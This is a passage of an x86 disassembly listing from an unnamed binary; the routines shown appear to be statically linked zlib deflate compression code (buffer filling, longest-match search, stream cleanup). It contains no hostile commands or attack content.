		mov	eax, [esi+14h]
		mov	dl, [edi+31h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	dl, [edi+32h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	dl, [edi+33h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	dl, [edi+8]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	dl, [edi+9]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	dl, [edi+0Ah]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	dl, [edi+0Bh]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		jmp	short loc_40EDA8
; ---------------------------------------------------------------------------


loc_40ED94:				; CODE XREF: sub_40E674+6A4j
		movzx	edx, word ptr [edi+32h]
		mov	eax, esi
		call	sub_40E605
		movzx	edx, word ptr [edi+30h]
		call	sub_40E605


loc_40EDA8:				; CODE XREF: sub_40E674+71Ej
		mov	eax, edi
		call	sub_40E627
		mov	eax, [esi+18h]
		cmp	eax, ebx
		jle	short loc_40EDBB
		neg	eax
		mov	[esi+18h], eax


loc_40EDBB:				; CODE XREF: sub_40E674+740j
		xor	eax, eax
		cmp	[esi+14h], ebx
		setz	al
		jmp	short loc_40EDDE
; ---------------------------------------------------------------------------


loc_40EDC5:				; CODE XREF: sub_40E674+625j
					; sub_40E674+62Ej
		cmp	[edi+10h], ebx
		jnz	loc_40EC1F
		jmp	loc_40EC1B
; ---------------------------------------------------------------------------


loc_40EDD3:				; CODE XREF: sub_40E674+2Fj
					; sub_40E674+3Cj ...
		mov	eax, ds:off_420260
		mov	[edi+18h], eax


loc_40EDDB:				; CODE XREF: sub_40E674+Fj
					; sub_40E674+1Aj ...
		push	0FFFFFFFEh


loc_40EDDD:				; CODE XREF: sub_40E674+64j
		pop	eax


loc_40EDDE:				; CODE XREF: sub_40E674+5ADj
					; sub_40E674+69Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E674	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EDE3	proc near		; CODE XREF: sub_40E306+60p
					; sub_40E306+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		jz	loc_40EE8A
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	loc_40EE8A
		mov	edi, [eax+4]
		cmp	edi, 2Ah
		jz	short loc_40EE25
		cmp	edi, 45h
		jz	short loc_40EE25
		cmp	edi, 49h
		jz	short loc_40EE25
		cmp	edi, 5Bh
		jz	short loc_40EE25
		cmp	edi, 67h
		jz	short loc_40EE25
		cmp	edi, 71h
		jz	short loc_40EE25
		cmp	edi, 29Ah
		jnz	short loc_40EE8A


loc_40EE25:				; CODE XREF: sub_40EDE3+1Fj
					; sub_40EDE3+24j ...
		mov	eax, [eax+8]
		test	eax, eax
		jz	short loc_40EE35
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx


loc_40EE35:				; CODE XREF: sub_40EDE3+47j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+44h]
		test	eax, eax
		jz	short loc_40EE48
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx


loc_40EE48:				; CODE XREF: sub_40EDE3+5Aj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+40h]
		test	eax, eax
		jz	short loc_40EE5B
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx


loc_40EE5B:				; CODE XREF: sub_40EDE3+6Dj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+38h]
		test	eax, eax
		jz	short loc_40EE6E
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx


loc_40EE6E:				; CODE XREF: sub_40EDE3+80j
		push	dword ptr [esi+1Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		and	dword ptr [esi+1Ch], 0
		cmp	edi, 71h
		pop	ecx
		pop	ecx
		jnz	short loc_40EE86
		push	0FFFFFFFDh
		jmp	short loc_40EE8C
; ---------------------------------------------------------------------------


loc_40EE86:				; CODE XREF: sub_40EDE3+9Dj
		xor	eax, eax
		jmp	short loc_40EE8D
; ---------------------------------------------------------------------------


loc_40EE8A:				; CODE XREF: sub_40EDE3+8j
					; sub_40EDE3+13j ...
		push	0FFFFFFFEh


loc_40EE8C:				; CODE XREF: sub_40EDE3+A1j
		pop	eax


loc_40EE8D:				; CODE XREF: sub_40EDE3+A5j
		pop	edi
		pop	esi
		retn
sub_40EDE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE90	proc near		; CODE XREF: sub_40FA03+77p
		mov	eax, [esi+2Ch]
		mov	ecx, [esi+44h]
		add	eax, eax
		mov	[esi+3Ch], eax
		mov	eax, [esi+4Ch]
		push	edi
		xor	edi, edi
		mov	[ecx+eax*2-2], di
		mov	eax, [esi+4Ch]
		lea	eax, [eax+eax-2]
		push	eax
		push	edi
		push	dword ptr [esi+44h]
		call	sub_40CCD9
		mov	eax, [esi+84h]
		imul	eax, 0Ch
		movzx	ecx, ds:word_41E2DA[eax]
		mov	[esi+80h], ecx
		movzx	ecx, ds:word_41E2D8[eax]
		mov	[esi+8Ch], ecx
		movzx	ecx, ds:word_41E2DC[eax]
		add	esp, 0Ch
		mov	[esi+90h], ecx
		movzx	eax, ds:word_41E2DE[eax]
		push	2
		mov	[esi+7Ch], eax
		pop	eax
		mov	[esi+6Ch], edi
		mov	[esi+5Ch], edi
		mov	[esi+74h], edi
		mov	[esi+68h], edi
		mov	[esi+48h], edi
		mov	[esi+78h], eax
		mov	[esi+60h], eax
		pop	edi
		retn
sub_40EE90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF0E	proc near		; CODE XREF: .text:0040F3FDp
					; .text:0040F70Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ecx+7Ch]
		mov	edx, [ecx+38h]
		mov	[ebp+var_8], eax
		mov	eax, [ecx+90h]
		push	ebx
		push	esi
		mov	esi, [ecx+6Ch]
		mov	[ebp+var_C], eax
		mov	eax, [ecx+2Ch]
		lea	ebx, [eax-106h]
		add	edx, esi
		cmp	esi, ebx
		push	edi
		mov	edi, [ecx+78h]
		jbe	short loc_40EF4B
		sub	esi, eax
		add	esi, 106h
		mov	[ebp+var_10], esi
		jmp	short loc_40EF4F
; ---------------------------------------------------------------------------


loc_40EF4B:				; CODE XREF: sub_40EF0E+2Ej
		and	[ebp+var_10], 0


loc_40EF4F:				; CODE XREF: sub_40EF0E+3Bj
		cmp	edi, [ecx+8Ch]
		lea	eax, [edx+102h]
		mov	[ebp+var_14], eax
		mov	al, [edi+edx-1]
		mov	[ebp+var_1], al
		mov	al, [edi+edx]
		mov	[ebp+var_2], al
		jb	short loc_40EF71
		shr	[ebp+var_8], 2


loc_40EF71:				; CODE XREF: sub_40EF0E+5Dj
		mov	eax, [ecx+74h]
		cmp	[ebp+var_C], eax
		jbe	short loc_40EF7C
		mov	[ebp+var_C], eax


loc_40EF7C:				; CODE XREF: sub_40EF0E+69j
		mov	eax, [ebp+arg_0]


loc_40EF7F:				; CODE XREF: sub_40EF0E+131j
		mov	esi, [ecx+38h]
		add	esi, eax
		mov	al, [ebp+var_2]
		cmp	[esi+edi], al
		jnz	loc_40F027
		mov	al, [ebp+var_1]
		cmp	[esi+edi-1], al
		jnz	loc_40F027
		mov	al, [esi]
		cmp	al, [edx]
		jnz	loc_40F027
		inc	esi
		mov	al, [esi]
		cmp	al, [edx+1]
		jnz	short loc_40F027
		mov	ebx, [ebp+var_14]
		inc	edx
		inc	edx
		inc	esi


loc_40EFB5:				; CODE XREF: sub_40EF0E+E9j
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_40EFF9
		cmp	edx, ebx
		jb	short loc_40EFB5


loc_40EFF9:				; CODE XREF: sub_40EF0E+ADj
					; sub_40EF0E+B5j ...
		mov	eax, edx
		sub	eax, ebx
		add	eax, 102h
		cmp	eax, edi
		lea	edx, [ebx-102h]
		jle	short loc_40F027
		cmp	eax, [ebp+var_C]
		mov	esi, [ebp+arg_0]
		mov	[ecx+70h], esi
		mov	edi, eax
		jge	short loc_40F045
		lea	esi, [eax+edx]
		mov	al, [esi-1]
		mov	[ebp+var_1], al
		mov	al, [esi]
		mov	[ebp+var_2], al


loc_40F027:				; CODE XREF: sub_40EF0E+7Cj
					; sub_40EF0E+89j ...
		mov	esi, [ecx+34h]
		and	esi, [ebp+arg_0]
		mov	eax, [ecx+40h]
		movzx	eax, word ptr [eax+esi*2]
		cmp	eax, [ebp+var_10]
		mov	[ebp+arg_0], eax
		jbe	short loc_40F045
		dec	[ebp+var_8]
		jnz	loc_40EF7F


loc_40F045:				; CODE XREF: sub_40EF0E+109j
					; sub_40EF0E+12Cj
		mov	eax, [ecx+74h]
		cmp	edi, eax
		ja	short loc_40F04E
		mov	eax, edi


loc_40F04E:				; CODE XREF: sub_40EF0E+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EF0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F053	proc near		; CODE XREF: .text:0040F412p
					; .text:0040F726p
		push	ebx
		push	esi
		mov	esi, eax
		mov	ecx, [esi+38h]
		mov	eax, [esi+6Ch]
		add	eax, ecx
		add	ecx, edi
		mov	bl, [ecx]
		cmp	bl, [eax]
		lea	edx, [eax+102h]
		jnz	short loc_40F0D7
		mov	bl, [ecx+1]
		cmp	bl, [eax+1]
		jnz	short loc_40F0D7
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx


loc_40F079:				; CODE XREF: sub_40F053+68j
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_40F0BD
		cmp	eax, edx
		jb	short loc_40F079


loc_40F0BD:				; CODE XREF: sub_40F053+2Cj
					; sub_40F053+34j ...
		sub	eax, edx
		add	eax, 102h
		cmp	eax, 3
		jl	short loc_40F0D7
		mov	[esi+70h], edi
		mov	esi, [esi+74h]
		cmp	eax, esi
		jbe	short loc_40F0DA
		mov	eax, esi
		jmp	short loc_40F0DA
; ---------------------------------------------------------------------------


loc_40F0D7:				; CODE XREF: sub_40F053+18j
					; sub_40F053+20j ...
		push	2
		pop	eax


loc_40F0DA:				; CODE XREF: sub_40F053+7Ej
					; sub_40F053+82j
		pop	esi
		pop	ebx
		retn
sub_40F053	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0DD	proc near		; CODE XREF: sub_40F22C+24p
					; .text:0040F36Ap ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [esi+2Ch]
		push	edi


loc_40F0E8:				; CODE XREF: sub_40F0DD+145j
		mov	edi, [esi+3Ch]
		sub	edi, [esi+74h]
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+2Ch]
		sub	edi, eax
		lea	ecx, [ebx+ecx-106h]
		cmp	eax, ecx
		mov	[ebp+var_8], edi
		jb	short loc_40F16A
		mov	eax, [esi+38h]
		push	ebx
		lea	ecx, [eax+ebx]
		push	ecx
		push	eax
		call	sub_40CCF7
		mov	eax, [esi+4Ch]
		mov	ecx, [esi+44h]
		sub	[esi+70h], ebx
		sub	[esi+6Ch], ebx
		add	esp, 0Ch
		sub	[esi+5Ch], ebx
		mov	[ebp+var_4], eax
		lea	eax, [ecx+eax*2]


loc_40F12A:				; CODE XREF: sub_40F0DD+64j
		dec	eax
		dec	eax
		movzx	ecx, word ptr [eax]
		mov	edx, ecx
		sub	edx, ebx
		cmp	ecx, ebx
		sbb	ecx, ecx
		not	ecx
		and	ecx, edx
		dec	[ebp+var_4]
		mov	[eax], cx
		jnz	short loc_40F12A
		mov	eax, [esi+40h]
		mov	[ebp+var_4], ebx
		lea	eax, [eax+ebx*2]


loc_40F14C:				; CODE XREF: sub_40F0DD+86j
		dec	eax
		dec	eax
		movzx	ecx, word ptr [eax]
		mov	edx, ecx
		sub	edx, ebx
		cmp	ecx, ebx
		sbb	ecx, ecx
		not	ecx
		and	ecx, edx
		dec	[ebp+var_4]
		mov	[eax], cx
		jnz	short loc_40F14C
		add	edi, ebx
		mov	[ebp+var_8], edi


loc_40F16A:				; CODE XREF: sub_40F0DD+25j
		mov	edi, [esi]
		cmp	dword ptr [edi+4], 0
		jz	loc_40F228
		mov	eax, [esi+74h]
		add	eax, [esi+6Ch]
		mov	ecx, [edi+4]
		add	eax, [esi+38h]
		mov	edx, [ebp+var_8]
		cmp	ecx, edx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ecx
		jbe	short loc_40F192
		mov	[ebp+var_4], edx


loc_40F192:				; CODE XREF: sub_40F0DD+B0j
		mov	edx, [ebp+var_4]
		test	edx, edx
		jnz	short loc_40F19D
		xor	eax, eax
		jmp	short loc_40F1E9
; ---------------------------------------------------------------------------


loc_40F19D:				; CODE XREF: sub_40F0DD+BAj
		sub	ecx, edx
		mov	[edi+4], ecx
		mov	ecx, [edi+1Ch]
		mov	ecx, [ecx+18h]
		cmp	ecx, 1
		jnz	short loc_40F1BA
		push	edx
		push	dword ptr [edi]
		push	dword ptr [edi+30h]
		call	sub_40E0E6
		jmp	short loc_40F1CA
; ---------------------------------------------------------------------------


loc_40F1BA:				; CODE XREF: sub_40F0DD+CEj
		cmp	ecx, 2
		jnz	short loc_40F1D3
		push	edx
		push	dword ptr [edi]
		push	dword ptr [edi+30h]
		call	sub_40E5EB


loc_40F1CA:				; CODE XREF: sub_40F0DD+DBj
		mov	[edi+30h], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch


loc_40F1D3:				; CODE XREF: sub_40F0DD+E0j
		push	[ebp+var_4]
		push	dword ptr [edi]
		push	eax
		call	sub_40CCF7
		mov	eax, [ebp+var_4]
		add	[edi], eax
		add	esp, 0Ch
		add	[edi+8], eax


loc_40F1E9:				; CODE XREF: sub_40F0DD+BEj
		add	[esi+74h], eax
		mov	edi, [esi+74h]
		cmp	edi, 3
		jb	short loc_40F214
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		lea	edx, [eax+ecx]
		movzx	eax, byte ptr [edx]
		mov	ecx, [esi+58h]
		mov	[esi+48h], eax
		shl	eax, cl
		movzx	ecx, byte ptr [edx+1]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	[esi+48h], eax


loc_40F214:				; CODE XREF: sub_40F0DD+115j
		cmp	edi, 106h
		jnb	short loc_40F228
		mov	eax, [esi]
		cmp	dword ptr [eax+4], 0
		jnz	loc_40F0E8


loc_40F228:				; CODE XREF: sub_40F0DD+93j
					; sub_40F0DD+13Dj
		pop	edi
		pop	ebx
		leave
		retn
sub_40F0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F22C	proc near		; CODE XREF: sub_40E674+60Ap
					; DATA XREF: .rdata:off_41E2E0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	ecx, [esi+0Ch]
		mov	eax, 0FFFFh
		add	ecx, 0FFFFFFFBh
		cmp	ecx, eax
		push	edi
		mov	ebx, eax
		jnb	short loc_40F246
		mov	ebx, ecx


loc_40F246:				; CODE XREF: sub_40F22C+16j
		xor	edi, edi


loc_40F248:				; CODE XREF: sub_40F22C+92j
					; sub_40F22C+BFj
		mov	eax, [esi+74h]
		cmp	eax, 1
		ja	short loc_40F260
		call	sub_40F0DD
		mov	eax, [esi+74h]
		cmp	eax, edi
		jz	loc_40F2F7


loc_40F260:				; CODE XREF: sub_40F22C+22j
		add	[esi+6Ch], eax
		mov	edx, [esi+5Ch]
		mov	ecx, [esi+6Ch]
		mov	[esi+74h], edi
		lea	eax, [edx+ebx]
		jz	short loc_40F275
		cmp	ecx, eax
		jb	short loc_40F2AC


loc_40F275:				; CODE XREF: sub_40F22C+43j
		sub	ecx, eax
		cmp	edx, edi
		mov	[esi+74h], ecx
		mov	[esi+6Ch], eax
		jl	short loc_40F288
		mov	ecx, [esi+38h]
		add	ecx, edx
		jmp	short loc_40F28A
; ---------------------------------------------------------------------------


loc_40F288:				; CODE XREF: sub_40F22C+53j
		xor	ecx, ecx


loc_40F28A:				; CODE XREF: sub_40F22C+5Aj
		push	edi
		sub	eax, edx
		push	eax
		push	ecx
		push	esi
		call	sub_412DBD
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_40E627
		mov	eax, [esi]
		cmp	[eax+10h], edi
		jz	short loc_40F2F1


loc_40F2AC:				; CODE XREF: sub_40F22C+47j
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+6Ch]
		mov	eax, [esi+2Ch]
		sub	edx, ecx
		sub	eax, 106h
		cmp	edx, eax
		jb	short loc_40F248
		cmp	ecx, edi
		jl	short loc_40F2CB
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_40F2CD
; ---------------------------------------------------------------------------


loc_40F2CB:				; CODE XREF: sub_40F22C+96j
		xor	eax, eax


loc_40F2CD:				; CODE XREF: sub_40F22C+9Dj
		push	edi
		push	edx
		push	eax
		push	esi
		call	sub_412DBD
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_40E627
		mov	eax, [esi]
		cmp	[eax+10h], edi
		jnz	loc_40F248


loc_40F2F1:				; CODE XREF: sub_40F22C+7Ej
					; sub_40F22C+D1j ...
		xor	eax, eax


loc_40F2F3:				; CODE XREF: sub_40F22C+118j
					; sub_40F22C+126j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F22C+2Ej
		mov	ebx, [esp+0Ch+arg_4]
		cmp	ebx, edi
		jz	short loc_40F2F1
		mov	ecx, [esi+5Ch]
		cmp	ecx, edi
		jl	short loc_40F30D
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_40F30F
; ---------------------------------------------------------------------------


loc_40F30D:				; CODE XREF: sub_40F22C+D8j
		xor	eax, eax


loc_40F30F:				; CODE XREF: sub_40F22C+DFj
		xor	edx, edx
		cmp	ebx, 4
		setz	dl
		push	edx
		mov	edx, [esi+6Ch]
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_412DBD
		add	esp, 10h
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		call	sub_40E627
		mov	eax, [esi]
		cmp	[eax+10h], edi
		jnz	short loc_40F346
		cmp	ebx, 4
		jnz	short loc_40F2F1
		push	2
		pop	eax
		jmp	short loc_40F2F3
; ---------------------------------------------------------------------------


loc_40F346:				; CODE XREF: sub_40F22C+10Ej
		xor	eax, eax
		cmp	ebx, 4
		setz	al
		lea	eax, [eax+eax+1]
		jmp	short loc_40F2F3
sub_40F22C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		xor	edi, edi
		mov	ebx, 106h


loc_40F363:				; CODE XREF: .text:0040F59Cj
					; .text:0040F5D7j
		mov	eax, [esi+74h]
		cmp	eax, ebx
		jnb	short loc_40F389
		call	sub_40F0DD
		mov	eax, [esi+74h]
		cmp	eax, ebx
		jnb	short loc_40F381
		cmp	dword ptr [esp+18h], 0
		jz	loc_40F5DD


loc_40F381:				; CODE XREF: .text:0040F374j
		test	eax, eax
		jz	loc_40F5E4


loc_40F389:				; CODE XREF: .text:0040F368j
		push	3
		pop	ebp
		cmp	eax, ebp
		jb	short loc_40F3D9
		mov	eax, [esi+48h]
		mov	ecx, [esi+58h]
		mov	edx, [esi+6Ch]
		mov	edi, [esi+34h]
		shl	eax, cl
		mov	ecx, [esi+38h]
		movzx	ecx, byte ptr [ecx+edx+2]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	ecx, [esi+44h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	edi, edx
		mov	edx, [esi+40h]
		mov	[edx+edi*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	edi, word ptr [ecx+eax*2]
		mov	eax, [esi+48h]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[ecx+eax*2], dx


loc_40F3D9:				; CODE XREF: .text:0040F38Ej
		test	edi, edi
		jz	short loc_40F41A
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+2Ch]
		sub	eax, edi
		sub	ecx, ebx
		cmp	eax, ecx
		ja	short loc_40F41A
		mov	ecx, [esi+88h]
		cmp	ecx, 2
		jz	short loc_40F407
		cmp	ecx, ebp
		jz	short loc_40F40B
		push	edi
		mov	ecx, esi
		call	sub_40EF0E
		add	esp, 4
		jmp	short loc_40F417
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: .text:0040F3F4j
		cmp	ecx, ebp
		jnz	short loc_40F41A


loc_40F40B:				; CODE XREF: .text:0040F3F8j
		cmp	eax, 1
		jnz	short loc_40F41A
		mov	eax, esi
		call	sub_40F053


loc_40F417:				; CODE XREF: .text:0040F405j
		mov	[esi+60h], eax


loc_40F41A:				; CODE XREF: .text:0040F3DBj
					; .text:0040F3E9j ...
		cmp	[esi+60h], ebp
		jb	loc_40F544
		mov	cx, [esi+6Ch]
		sub	cx, [esi+70h]
		mov	edx, [esi+16A0h]
		mov	al, [esi+60h]
		mov	ebp, [esi+16A4h]
		sub	al, 3
		movzx	ecx, cx
		mov	[ebp+edx*2+0], cx
		mov	ebp, [esi+16A0h]
		mov	edx, [esi+1698h]
		mov	[edx+ebp], al
		inc	dword ptr [esi+16A0h]
		movzx	eax, al
		movzx	eax, ds:byte_41FFE0[eax]
		add	ecx, 0FFFFh
		lea	eax, [esi+eax*4+498h]
		inc	word ptr [eax]
		cmp	cx, 100h
		movzx	eax, cx
		jnb	short loc_40F486
		movzx	eax, ds:byte_41FDE0[eax]
		jmp	short loc_40F490
; ---------------------------------------------------------------------------


loc_40F486:				; CODE XREF: .text:0040F47Bj
		shr	eax, 7
		movzx	eax, ds:byte_41FEE0[eax]


loc_40F490:				; CODE XREF: .text:0040F484j
		lea	eax, [esi+eax*4+988h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		xor	ecx, ecx
		dec	eax
		cmp	[esi+16A0h], eax
		mov	eax, [esi+60h]
		setz	cl
		sub	[esi+74h], eax
		cmp	eax, [esi+80h]
		mov	ebp, ecx
		mov	ecx, [esi+74h]
		ja	short loc_40F51B
		cmp	ecx, 3
		jb	short loc_40F51B
		dec	eax
		mov	[esi+60h], eax


loc_40F4C8:				; CODE XREF: .text:0040F517j
		inc	dword ptr [esi+6Ch]
		mov	edx, [esi+6Ch]
		mov	edi, [esi+48h]
		mov	ecx, [esi+58h]
		mov	eax, [esi+38h]
		movzx	eax, byte ptr [edx+eax+2]
		shl	edi, cl
		mov	ecx, [esi+44h]
		xor	eax, edi
		and	eax, [esi+54h]
		mov	edi, [esi+34h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	edi, edx
		mov	edx, [esi+40h]
		mov	[edx+edi*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	edi, word ptr [ecx+eax*2]
		mov	eax, [esi+48h]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[ecx+eax*2], dx
		dec	dword ptr [esi+60h]
		jnz	short loc_40F4C8
		jmp	short loc_40F597
; ---------------------------------------------------------------------------


loc_40F51B:				; CODE XREF: .text:0040F4BDj
					; .text:0040F4C2j
		add	[esi+6Ch], eax
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		and	dword ptr [esi+60h], 0
		lea	edx, [eax+ecx]
		movzx	eax, byte ptr [edx]
		mov	ecx, [esi+58h]
		mov	[esi+48h], eax
		shl	eax, cl
		movzx	ecx, byte ptr [edx+1]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	[esi+48h], eax
		jmp	short loc_40F59A
; ---------------------------------------------------------------------------


loc_40F544:				; CODE XREF: .text:0040F41Dj
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		mov	al, [eax+ecx]
		mov	ecx, [esi+16A0h]
		mov	edx, [esi+16A4h]
		and	word ptr [edx+ecx*2], 0
		mov	ecx, [esi+1698h]
		mov	edx, [esi+16A0h]
		mov	[ecx+edx], al
		inc	dword ptr [esi+16A0h]
		movzx	eax, al
		lea	eax, [esi+eax*4+94h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		xor	ecx, ecx
		dec	eax
		cmp	[esi+16A0h], eax
		setz	cl
		dec	dword ptr [esi+74h]
		mov	ebp, ecx


loc_40F597:				; CODE XREF: .text:0040F519j
		inc	dword ptr [esi+6Ch]


loc_40F59A:				; CODE XREF: .text:0040F542j
		test	ebp, ebp
		jz	loc_40F363
		mov	ecx, [esi+5Ch]
		test	ecx, ecx
		jl	short loc_40F5B0
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_40F5B2
; ---------------------------------------------------------------------------


loc_40F5B0:				; CODE XREF: .text:0040F5A7j
		xor	eax, eax


loc_40F5B2:				; CODE XREF: .text:0040F5AEj
		mov	edx, [esi+6Ch]
		push	0
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_412DBD
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_40E627
		mov	eax, [esi]
		cmp	dword ptr [eax+10h], 0
		jnz	loc_40F363


loc_40F5DD:				; CODE XREF: .text:0040F37Bj
					; .text:0040F629j
		xor	eax, eax


loc_40F5DF:				; CODE XREF: .text:0040F62Ej
					; .text:0040F63Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40F5E4:				; CODE XREF: .text:0040F383j
		mov	ecx, [esi+5Ch]
		test	ecx, ecx
		jl	short loc_40F5F2
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_40F5F4
; ---------------------------------------------------------------------------


loc_40F5F2:				; CODE XREF: .text:0040F5E9j
		xor	eax, eax


loc_40F5F4:				; CODE XREF: .text:0040F5F0j
		mov	edi, [esp+18h]
		xor	edx, edx
		cmp	edi, 4
		setz	dl
		push	edx
		mov	edx, [esi+6Ch]
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_412DBD
		add	esp, 10h
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		call	sub_40E627
		mov	eax, [esi]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40F630
		cmp	edi, 4
		jnz	short loc_40F5DD
		push	2
		pop	eax
		jmp	short loc_40F5DF
; ---------------------------------------------------------------------------


loc_40F630:				; CODE XREF: .text:0040F624j
		xor	eax, eax
		cmp	edi, 4
		setz	al
		lea	eax, [eax+eax+1]
		jmp	short loc_40F5DF
; ---------------------------------------------------------------------------
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+14h]
		xor	ebx, ebx
		push	edi
		mov	[esp+10h], ebx


loc_40F64D:				; CODE XREF: .text:0040F87Dj
					; .text:0040F940j ...
		mov	eax, [esi+74h]
		mov	edi, 106h
		cmp	eax, edi
		jnb	short loc_40F677
